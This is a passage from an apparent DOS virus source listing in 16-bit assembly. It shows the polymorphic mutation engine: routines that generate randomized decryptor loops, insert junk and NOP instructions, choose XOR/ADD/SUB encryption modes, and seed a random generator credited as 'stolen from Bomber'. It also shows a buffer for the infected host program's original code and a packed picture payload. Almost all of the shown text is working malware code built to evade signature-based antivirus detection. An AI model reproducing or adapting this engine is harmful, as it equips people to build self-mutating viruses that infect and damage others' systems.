  1073. ;****************************************************************************
  1074. ;*              generate loop command
  1075. ;****************************************************************************
  1076.  
  1077. do_loop:        test    bh,1                    ;no JNE if couting down
  1078.                 jnz     loop_loop               ;  (prefetch bug!)
  1079.                 call    rnd_get
  1080.                 test    al,1                    ;LOOPNZ/LOOP or JNE?
  1081.                 jnz     cx_loop
  1082.  
  1083. loop_loop:      mov     al,0E0
  1084.                 test    bh,1A                   ;LOOPNZ or LOOP?
  1085.                 jz      ll0                     ;  no LOOPNZ if xor-offset
  1086.                 add     al,2                    ;  no LOOPNZ if CMPSW/SCASW
  1087. ll0:            stosb
  1088.                 mov     ax,dx
  1089.                 sub     ax,di
  1090.                 dec     ax
  1091.                 stosb
  1092.                 ret
  1093.  
  1094. cx_loop:        test    bh,10                   ;SUB CX or DEC CX?
  1095.                 jnz     cxl_dec
  1096.                 mov     ax,0E983
  1097.                 stosw
  1098.                 mov     al,1
  1099.                 stosb
  1100.                 jmp     short do_jne                
  1101.  
  1102. cxl_dec:        mov     al,49
  1103.                 stosb
  1104. do_jne:         mov     al,75
  1105.                 jmp     short ll0
  1106.  
  1107.  
  1108. ;****************************************************************************
  1109. ;*              add value to AL depending on register type
  1110. ;****************************************************************************
  1111.  
  1112. add_dir:        mov     si,offset dir_change
  1113.                 jmp     short xx1
  1114.  
  1115. add_ind:        mov     si,offset ind_change
  1116. xx1:            push    bx
  1117.                 shr     bl,1
  1118.                 shr     bl,1
  1119.                 and     bx,3
  1120.                 add     al,byte ptr ds:[bx+si]
  1121.                 pop     bx
  1122.                 ret
  1123.  
  1124.  
  1125. ;****************************************************************************
  1126. ;*              mov encryption command byte to AL
  1127. ;****************************************************************************
  1128.  
  1129. get_xor:        push    bx
  1130.                 mov     ax,offset how_mode
  1131.                 xchg    ax,bx
  1132.                 and     ax,3
  1133.                 xlat
  1134.                 pop     bx
  1135.                 ret
  1136.  
  1137.  
  1138. ;****************************************************************************
  1139. ;*              change ADD into ADC
  1140. ;****************************************************************************
  1141.  
  1142. do_carry:       test    bl,2                    ;ADD/SUB used for encryption?
  1143.                 jz      no_ac
  1144.                 test    bh,20                   ;carry with (encr.) ADD/SUB?
  1145.                 jz      no_ac
  1146.                 and     al,0CF
  1147.                 or      al,10
  1148. no_ac:          ret
  1149.  
  1150.  
  1151. ;****************************************************************************
  1152. ;*              change AL (byte/word)
  1153. ;****************************************************************************
  1154.  
  1155. add_1:          test    bl,10
  1156.                 jz      add_1_ret
  1157.                 inc     al
  1158. add_1_ret:      ret
  1159.  
  1160.  
  1161. ;****************************************************************************
  1162. ;*              change AL (byte/word)
  1163. ;****************************************************************************
  1164.  
  1165. maybe_2:        call    add_1
  1166.                 cmp     al,81                   ;can't touch this
  1167.                 je      maybe_not
  1168.                 push    ax
  1169.                 call    rnd_get
  1170.                 test    al,1
  1171.                 pop     ax
  1172.                 jz      maybe_not
  1173.                 add     al,2
  1174. maybe_not:      ret
  1175.  
  1176.  
  1177. ;****************************************************************************
  1178. ;*              get random nop (or not)
  1179. ;****************************************************************************
  1180.  
  1181. do_nop:         test    byte ptr ds:[flags],2
  1182.                 jz      no_nop
  1183. yes_nop:        call    rnd_get
  1184.                 test    al,3
  1185.                 jz      nop8
  1186.                 test    al,2
  1187.                 jz      nop16
  1188.                 test    al,1
  1189.                 jz      nop16x
  1190. no_nop:         ret
  1191.  
  1192.  
  1193. ;****************************************************************************
  1194. ;*              Insert random instructions
  1195. ;****************************************************************************
  1196.  
  1197. do_junk:        test    byte ptr ds:[flags],4
  1198.                 jz      no_junk
  1199.                 call    rnd_get                 ;put a random number of
  1200.                 and     ax,0F                   ;  dummy instructions before
  1201.                 inc     ax                      ;  decryptor
  1202.                 xchg    ax,cx
  1203. junk_loop:      call    junk
  1204.                 loop    junk_loop
  1205. no_junk:        ret
  1206.  
  1207.  
  1208. ;****************************************************************************
  1209. ;*              get rough random nop (may affect register values)
  1210. ;****************************************************************************
  1211.  
  1212. junk:           call    rnd_get
  1213.                 and     ax,1E
  1214.                 jmp     short aa0
  1215. nop16x:         call    rnd_get
  1216.                 and     ax,06
  1217. aa0:            xchg    ax,si
  1218.                 call    rnd_get
  1219.                 jmp     word ptr ds:[si+junkcals]
  1220.  
  1221.  
  1222. ;****************************************************************************
  1223. ;*              NOP and junk addresses
  1224. ;****************************************************************************
  1225.  
  1226. junkcals        dw      offset nop16x0
  1227.                 dw      offset nop16x1
  1228.                 dw      offset nop16x2
  1229.                 dw      offset nop16x3
  1230.                 dw      offset nop8
  1231.                 dw      offset nop16
  1232.                 dw      offset junk6
  1233.                 dw      offset junk7
  1234.                 dw      offset junk8
  1235.                 dw      offset junk9
  1236.                 dw      offset junkA
  1237.                 dw      offset junkB
  1238.                 dw      offset junkC
  1239.                 dw      offset junkD
  1240.                 dw      offset junkE
  1241.                 dw      offset junkF
  1242.  
  1243.  
  1244. ;****************************************************************************
  1245. ;*              NOP and junk routines
  1246. ;****************************************************************************
  1247.  
  1248. nop16x0:        and     ax,000F                 ;J* 0000 (conditional)
  1249.                 or      al,70
  1250.                 stosw
  1251.                 ret
  1252.  
  1253.  
  1254. nop16x1:        mov     al,0EBh                 ;JMP xxxx / junk
  1255.                 and     ah,07
  1256.                 inc     ah
  1257.                 stosw
  1258.                 xchg    al,ah                   ;get lenght of bullshit
  1259.                 cbw
  1260.                 jmp     fill_bullshit
  1261.  
  1262.  
  1263. nop16x2:        call    junkD                   ;XCHG AX,reg / XCHG AX,reg
  1264.                 stosb
  1265.                 ret
  1266.  
  1267.  
  1268. nop16x3:        call    junkF                   ;INC / DEC or DEC / INC
  1269.                 xor     al,8
  1270.                 stosb
  1271.                 ret
  1272.  
  1273.  
  1274. nop8:           push    bx                      ;8-bit NOP
  1275.                 and     al,7
  1276.                 mov     bx,offset nop_data8
  1277.                 xlat
  1278.                 stosb
  1279.                 pop     bx
  1280.                 ret
  1281.  
  1282.  
  1283. nop16:          push    bx                      ;16-bit NOP
  1284.                 and     ax,0303
  1285.                 mov     bx,offset nop_data16
  1286.                 xlat
  1287.                 add     al,ah
  1288.                 stosb
  1289.                 call    rnd_get
  1290.                 and     al,7
  1291.                 mov     bl,9
  1292.                 mul     bl
  1293.                 add     al,0C0
  1294.                 stosb
  1295.                 pop     bx
  1296.                 ret
  1297.  
  1298.  
  1299. junk6:          push    cx                      ;CALL xxxx / junk / POP reg
  1300.                 mov     al,0E8
  1301.                 and     ah,0F
  1302.                 inc     ah
  1303.                 stosw
  1304.                 xor     al,al
  1305.                 stosb
  1306.                 xchg    al,ah
  1307.                 call    fill_bullshit
  1308.                 call    do_nop
  1309.                 call    rnd_get                 ;insert POP reg
  1310.                 and     al,7
  1311.                 call    no_sp
  1312.                 mov     cx,ax
  1313.                 or      al,58
  1314.                 stosb
  1315.  
  1316.                 test    ch,3                    ;more?
  1317.                 jnz     junk6_ret
  1318.  
  1319.                 call    do_nop
  1320.                 mov     ax,0F087                ;insert XCHG SI,reg
  1321.                 or      ah,cl
  1322.                 test    ch,8
  1323.                 jz      j6_1
  1324.                 mov     al,8Bh
  1325. j6_1:           stosw
  1326.  
  1327.                 call    do_nop
  1328.                 push    bx
  1329.                 call    rnd_get
  1330.                 xchg    ax,bx
  1331.                 and     bx,0F7FBh               ;insert XOR [SI],xxxx
  1332.                 or      bl,8
  1333.                 call    do_xor
  1334.                 pop     bx
  1335. junk6_ret:      pop     cx
  1336.                 ret
  1337.  
  1338.  
  1339. junk7:          and     al,0F                   ;MOV reg,xxxx
  1340.                 or      al,0B0
  1341.                 call    no_sp
  1342.                 stosb
  1343.                 test    al,8
  1344.                 pushf
  1345.                 call    rnd_get
  1346.                 popf
  1347.                 jmp     short byte_word
  1348.  
  1349.  
  1350. junk8:          and     ah,39                   ;DO r/m,r(8/16)
  1351.                 or      al,0C0
  1352.                 call    no_sp
  1353.                 xchg    al,ah
  1354.                 stosw
  1355.                 ret
  1356.  
  1357.  
  1358. junk9:          and     al,3Bh                  ;DO r(8/16),r/m
  1359.                 or      al,2
  1360.                 and     ah,3F
  1361.                 call    no_sp2
  1362.                 call    no_bp
  1363.                 stosw
  1364.                 ret
  1365.  
  1366.  
  1367. junkA:          and     ah,1                    ;DO rm,xxxx
  1368.                 or      ax,80C0
  1369.                 call    no_sp
  1370.                 xchg    al,ah       
  1371.                 stosw
  1372.                 test    al,1
  1373.                 pushf
  1374.                 call    rnd_get
  1375.                 popf
  1376.                 jmp     short byte_word
  1377.  
  1378.  
  1379. junkB:          call    nop8                    ;NOP / LOOP
  1380.                 mov     ax,0FDE2
  1381.                 stosw
  1382.                 ret
  1383.  
  1384.  
  1385. junkC:          and     al,09                   ;CMPS* or SCAS*
  1386.                 test    ah,1
  1387.                 jz      mov_test
  1388.                 or      al,0A6
  1389.                 stosb
  1390.                 ret
  1391. mov_test:       or      al,0A0                  ;MOV AX,[xxxx] or TEST AX,xxxx
  1392.                 stosb
  1393.                 cmp     al,0A8
  1394.                 pushf
  1395.                 call    rnd_get
  1396.                 popf
  1397.                 jmp     short byte_word
  1398.  
  1399.  
  1400. junkD:          and     al,07                   ;XCHG AX,reg
  1401.                 or      al,90
  1402.                 call    no_sp
  1403.                 stosb
  1404.                 ret
  1405.  
  1406.  
  1407. junkE:          and     ah,07                   ;PUSH reg / POP reg
  1408.                 or      ah,50
  1409.                 mov     al,ah
  1410.                 or      ah,08
  1411.                 stosw
  1412.                 ret
  1413.  
  1414.  
  1415. junkF:          and     al,0F                   ;INC / DEC
  1416.                 or      al,40
  1417.                 call    no_sp
  1418.                 stosb
  1419.                 ret
  1420.  
  1421.  
  1422. ;****************************************************************************
  1423. ;*              store a byte or a word
  1424. ;****************************************************************************
  1425.  
  1426. byte_word:      jz      only_byte
  1427.                 stosw
  1428.                 ret
  1429.  
  1430. only_byte:      stosb
  1431.                 ret
  1432.  
  1433.  
  1434. ;****************************************************************************
  1435. ;*              don't fuck with SP!
  1436. ;****************************************************************************
  1437.  
  1438. no_sp:          push    ax
  1439.                 and     al,7
  1440.                 cmp     al,4
  1441.                 pop     ax
  1442.                 jnz     no_sp_ret
  1443.                 and     al,0FBh
  1444. no_sp_ret:      ret
  1445.  
  1446.  
  1447. ;****************************************************************************
  1448. ;*              don't fuck with SP!
  1449. ;****************************************************************************
  1450.  
  1451. no_sp2:         push    ax
  1452.                 and     ah,38
  1453.                 cmp     ah,20
  1454.                 pop     ax
  1455.                 jnz     no_sp2_ret
  1456.                 xor     ah,20
  1457. no_sp2_ret:     ret
  1458.  
  1459.  
  1460. ;****************************************************************************
  1461. ;*              don't use [BP+..]
  1462. ;****************************************************************************
  1463.  
  1464. no_bp:          test    ah,4
  1465.                 jnz     no_bp2
  1466.                 and     ah,0FDh
  1467.                 ret
  1468.  
  1469. no_bp2:         push    ax
  1470.                 and     ah,7
  1471.                 cmp     ah,6
  1472.                 pop     ax
  1473.                 jnz     no_bp_ret
  1474.                 or      ah,1
  1475. no_bp_ret:      ret
  1476.  
  1477.  
  1478. ;****************************************************************************
  1479. ;*              write byte for JMP/CALL and fill with random bullshit
  1480. ;****************************************************************************
  1481.  
  1482. fill_bullshit:  push    cx
  1483.                 xchg    ax,cx
  1484. bull_lup:       call    rnd_get
  1485.                 stosb
  1486.                 loop    bull_lup
  1487.                 pop     cx
  1488.                 ret
  1489.  
  1490.  
  1491. ;****************************************************************************
  1492. ;*              random number generator  (stolen from 'Bomber')
  1493. ;****************************************************************************
  1494.  
  1495. rnd_init:       push    cx
  1496.                 call    rnd_init0               ;init
  1497.                 and     ax,000F
  1498.                 inc     ax
  1499.                 xchg    ax,cx
  1500. random_lup:     call    rnd_get                 ;call random routine a few
  1501.                 loop    random_lup              ;  times to 'warm up'
  1502.                 pop     cx
  1503.                 ret
  1504.  
  1505. rnd_init0:      push    dx                      ;initialize generator
  1506.                 push    cx
  1507.                 mov     ah,2C
  1508.                 int     21
  1509.                 in      al,40
  1510.                 mov     ah,al
  1511.                 in      al,40
  1512.                 xor     ax,cx
  1513.                 xor     dx,ax
  1514.                 jmp     short move_rnd
  1515.  
  1516. rnd_get:        push    dx                      ;calculate a random number
  1517.                 push    cx
  1518.                 push    bx
  1519.                 mov     ax,0                    ;will be: mov ax,xxxx
  1520.                 mov     dx,0                    ;  and mov dx,xxxx
  1521.                 mov     cx,7
  1522. rnd_lup:        shl     ax,1
  1523.                 rcl     dx,1
  1524.                 mov     bl,al
  1525.                 xor     bl,dh
  1526.                 jns     rnd_l2
  1527.                 inc     al
  1528. rnd_l2:         loop    rnd_lup
  1529.                 pop     bx
  1530.  
  1531. move_rnd:       mov     word ptr ds:[rnd_get+4],ax
  1532.                 mov     word ptr ds:[rnd_get+7],dx
  1533.                 mov     al,dl
  1534.                 pop     cx
  1535.                 pop     dx
  1536.                 ret
  1537.  
  1538.  
  1539. ;****************************************************************************
  1540. ;*              tables for engine
  1541. ;****************************************************************************
  1542.  
  1543.                 ;       AX   AL   AH      (BX) BL   BH      CX   CL   CH
  1544. mov_byte        db      0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5
  1545.  
  1546.                 ;       nop clc  stc  cmc  cli  cld incbp decbp
  1547. nop_data8       db      90, 0F8, 0F9, 0F5, 0FA, 0FC, 45,  4Dh
  1548.  
  1549.                 ;      or and xchg mov
  1550. nop_data16      db      8, 20, 84, 88
  1551.  
  1552.                 ;     bl/bh, bx, si  di
  1553. dir_change      db      07, 07, 04, 05
  1554. ind_change      db      03, 03, 06, 07
  1555.  
  1556.  
  1557.                 ;       xor xor add sub
  1558. how_mode        db      30, 30, 00, 28
  1559.  
  1560.                 ;       ?  add  xor  or
  1561. add_mode        db      0, 0C8, 0F0, 0C0
  1562.  
  1563.  
  1564. ;****************************************************************************
  1565. ;*              text + buffer
  1566. ;****************************************************************************
  1567.  
  1568.                 db      ' Amsterdam = COFFEESHOP! '
  1569.  
  1570. buffer          db      0CDh, 20                ;original code of dummy program
  1571.                 db      (BUFLEN-2) dup (?)
  1572.  
  1573.  
  1574. ;****************************************************************************
  1575. ;*              the (packed) picture routine
  1576. ;****************************************************************************
  1577.                                                 
  1578. beeld           db      0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h
  1579.                 db      090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh
  1580.                 db      001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
  1581.                 db      000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
  1582.                 db      0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h
  1583.                 db      00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h
  1584.                 db      0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch
  1585.                 db      004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h
  1586.                 db      022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh
  1587.                 db      0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh
  1588.                 db      081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h
  1589.                 db      003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch
  1590.                 db      0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h
  1591.                 db      002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh
  1592.                 db      0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh
  1593.                 db      0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh
  1594.                 db      0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh
  1595.                 db      0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h
  1596.                 db      084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h
  1597.                 db      083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h
  1598.                 db      001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h
  1599.                 db      0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh
  1600.                 db      0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h
  1601.                 db      0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h
  1602.                 db      0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h
  1603.                 db      01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h
  1604.                 db      061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h
  1605.                 db      0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h
  1606.                 db      009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h
  1607.                 db      05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh
  1608.                 db      0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch
  1609.                 db      020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh
  1610.                 db      0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h
  1611.                 db      0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh
  1612.                 db      060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh
  1613.                 db      022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh
  1614.                 db      0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h
  1615.                 db      041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h
  1616.                 db      009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh
  1617.                 db      01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h
  1618.                 db      09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh
  1619.                 db      084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh
  1620.                 db      053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h
  1621.                 db      01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h
  1622.                 db      0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h
  1623.                 db      07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h
  1624.                 db      076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h
  1625.                 db      055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h
  1626.                 db      084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh
  1627.                 db      0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h
  1628.                 db      050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh
  1629.                 db      070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh
  1630.                 db      020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h
  1631.                 db      019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh
  1632.                 db      0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h
  1633.                 db      083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh
  1634.                 db      0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h
  1635.                 db      072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h
  1636.                 db      041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh
  1637.                 db      002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h
  1638.                 db      072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h
  1639.                 db      0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h
  1640.                 db      070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh
  1641.                 db      040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h
  1642.                 db      0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh
  1643.                 db      061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h
  1644.                 db      048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h
  1645.                 db      066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h
  1646.                 db      05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h
  1647.                 db      093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh
  1648.                 db      0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh
  1649.                 db      0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
  1650.                 db      0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
  1651.                 db      0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
  1652.                 db      0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
  1653.                 db      0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
  1654.                 db      02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
  1655.                 db      0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
  1656.                 db      0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
  1657.                 db      0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
  1658.                 db      02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
  1659.                 db      0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
  1660.                 db      0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
  1661.                 db      0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
  1662.                 db      0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
  1663.                 db      0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
  1664.                 db      0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
  1665.                 db      0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
  1666.                 db      0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
  1667.                 db      03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh
  1668.                 db      033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
  1669.                 db      0E9h, 07Dh, 0EBh
  1670.                 
  1671. last:
  1672.  
  1673. _TEXT           ends
  1674.                 end    first
  1675.  
  1676.  
  1677.